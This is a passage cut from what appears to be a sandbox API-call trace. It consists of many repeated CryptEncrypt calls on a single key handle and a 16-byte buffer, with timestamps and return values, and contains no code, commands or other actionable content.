pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.586] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.586] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.586] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.586] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.586] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.586] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.586] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.586] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.587] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.587] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.587] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.587] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.587] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.587] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.587] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.587] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.587] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.587] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.587] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.587] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.588] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.588] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.588] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.588] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.588] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.588] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.588] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.588] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.588] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.588] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.588] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.588] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.588] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.589] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.589] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.589] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.589] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.589] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.589] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.589] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.589] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.589] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.589] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.589] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.589] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.590] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.590] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.590] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.590] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.590] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.590] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.590] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.590] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.590] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.590] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.590] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.590] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.590] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.590] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.590] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.591] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.591] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.591] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.591] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.591] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.591] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.591] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.591] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.591] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.591] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.591] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.592] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.592] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.592] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.592] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.592] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.592] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.592] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.592] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.592] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.592] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.592] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.592] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.592] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.593] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.593] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.593] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.593] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.593] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.593] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.593] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.593] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.593] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.593] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.593] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.593] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.593] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.593] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 